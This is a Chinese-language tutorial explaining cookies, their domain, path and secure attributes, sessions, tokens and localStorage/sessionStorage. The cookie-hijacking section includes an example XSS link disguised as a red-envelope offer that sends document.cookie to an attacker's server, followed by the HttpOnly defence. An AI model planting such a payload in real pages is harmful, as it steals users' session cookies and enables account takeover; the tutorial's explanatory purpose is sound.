cookie、session、token、WebStorage了解

一、cookie

　　1、cookie是用户访问服务器，服务器返回给客户端的一个身份id，之后每次请求，cookie都会被携带在请求头中发送给服务器。【通俗讲就是第一次访问的时候，

　　服务器生成一个锁芯（session）然后把开这个锁的钥匙（cookie）返回给客户端，之后用户每次访问服务器都会携带钥匙去开锁访问】

　　2、cookie如果不设置过期时间，就是会话cookie，浏览器关闭就消失。否则就是持久cookie，在过期之前，cookie都是一直存在的，并且持久cookie可以被不同浏览器共享。

　　3、前端可以通过

　　　document.cookie = "user=heihei";

　　　console.log(document.cookie);

　　设置和获取cookie，可以设置过期时间，有大小限制，只能存储大约4kb。

　　4、cookie的属性：

　　　a、 cookie的域，产生Cookie的服务器可以向set-Cookie响应首部添加一个Domain属性来控制哪些站点可以看到那个cookie，如：　　　

　　Set-Cookie: name="heihei"; domain="m.zhuanzhuan.58.com"

　　　如果用户访问的是m.zhuanzhuan.58.com那就会发送cookie: name="heihei", 如果用户访问www.aaa.com（非zhuanzhuan.58.com）就不会发送这个Cookie。

　　　b、并且如果是子域设置了cookie，那么，子域可以访问主域的cookie，反之主域不能访问子域的cookie，中午就涉及到path属性

　　　　例如：m.zhuanzhuan.58.com 和 m.zhaunzhuan.58.com/user/这两个url。 m.zhuanzhuan.58.com 设置cookie

　　　Set-cookie: id="123432";domain="m.zhuanzhuan.58.com";

　　　　m.zhaunzhuan.58.com/user/ 设置cookie：

　　　Set-cookie：user="wang", domain="m.zhuanzhuan.58.com"; path=/user/

　　　　但是访问其他路径m.zhuanzhuan.58.com/other/就会获得

　　　cookie: id="123432"

　　　　如果访问m.zhuanzhuan.58.com/user/就会获得

  　　cookie: id="123432"
  　　cookie: user="wang"

　　　c、secure

　　　　设置了属性secure，cookie只有在https协议加密情况下才会发送给服务端。但是这并不是最安全的，由于其固有的不安全性，敏感信息也是不应该通过cookie传输的.

　　　Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;

　　　5、cookie劫持（跨站点脚本XSS）

　　　　使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候，就会发生攻击者发布恶意代码攻击用户的会话，同时可以拿到用户的cookie信息。

　　　　例子：

　　　<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>

　　　　当用户点击这个链接的时候，浏览器就会执行onclick里面的代码，结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。

　　　　攻击者同样可以拿cookie搞事情。

　　　　解决办法：可以通过cookie的HttpOnly属性，设置了HttpOnly属性，javascript代码将不能操作cookie。

 

二、session

　　　1、一种会话机制，用来记录客户信息，存储在服务端，无大小限制。

三、token

　　　   1、token的意思是“令牌”，是服务端生成的一串字符串，作为客户端进行请求的一个标识。

　　　   2、当用户第一次登录后，服务器生成一个token并将此token返回给客户端，以后客户端只需带上这个token前来请求数据即可，无需再次带上用户名和密码。

　　　   3、简单token的组成；uid(用户唯一的身份标识)、time(当前时间的时间戳)、sign（签名，token的前几位以哈希算法压缩成的一定长度的十六进制字符串。

　　　　  为防止token泄露）。

　　　　  客户端使用用户名和密码请求登录。服务端收到请求，验证用户名和密码。验证成功后，服务端会生成一个token，然后把这个token发送给客户端。

　　　　  客户端收到token后把它存储起来，可以放在cookie或者Local Storage（本地存储）里。客户端每次向服务端发送请求的时候都需要带上服务端发给的token。

　　　　  服务端收到请求，然后去验证客户端请求里面带着token，如果验证成功，就向客户端返回请求的数据。

四、WebStorage

　　　　WebStorage两个主要目标：（1）提供一种在cookie之外存储会话数据的路径。（2）提供一种存储大量可以跨会话存在的数据的机制。

　　　　HTML5的WebStorage提供了两种API：localStorage（本地存储）和sessionStorage（会话存储）。

　　　　1、生命周期：localStorage:localStorage的生命周期是永久的，关闭页面或浏览器之后localStorage中的数据也不会消失。

　　　　　localStorage除非主动删除数据，否则数据永远不会消失。

　　　　　sessionStorage的生命周期是在仅在当前会话下有效。sessionStorage是在同源的窗口中始终存在的数据。只要这个浏览器窗口没有关闭，

　　　　　即使刷新页面，数据依然存在。但是sessionStorage在关闭了浏览器窗口后就会被销毁。

　　　　　同时独立的打开同一个窗口同一个页面，sessionStorage也是不一样的。

　　　   2、存储大小：localStorage和sessionStorage的存储数据大小一般都是：5MB

　　　   3、存储位置：localStorage和sessionStorage都保存在客户端，不与服务器进行交互通信。

　　　   4、存储内容类型：localStorage和sessionStorage只能存储字符串类型，对于复杂的对象可以使用ECMAScript提供的JSON对象的stringify和parse来处理

　　　   5、获取方式：localStorage：window.localStorage;；sessionStorage：window.sessionStorage;。

　　　   6、应用场景：localStoragese：常用于长期登录（+判断用户是否已登录），适合长期保存在本地的数据。sessionStorage：敏感账号一次性登录；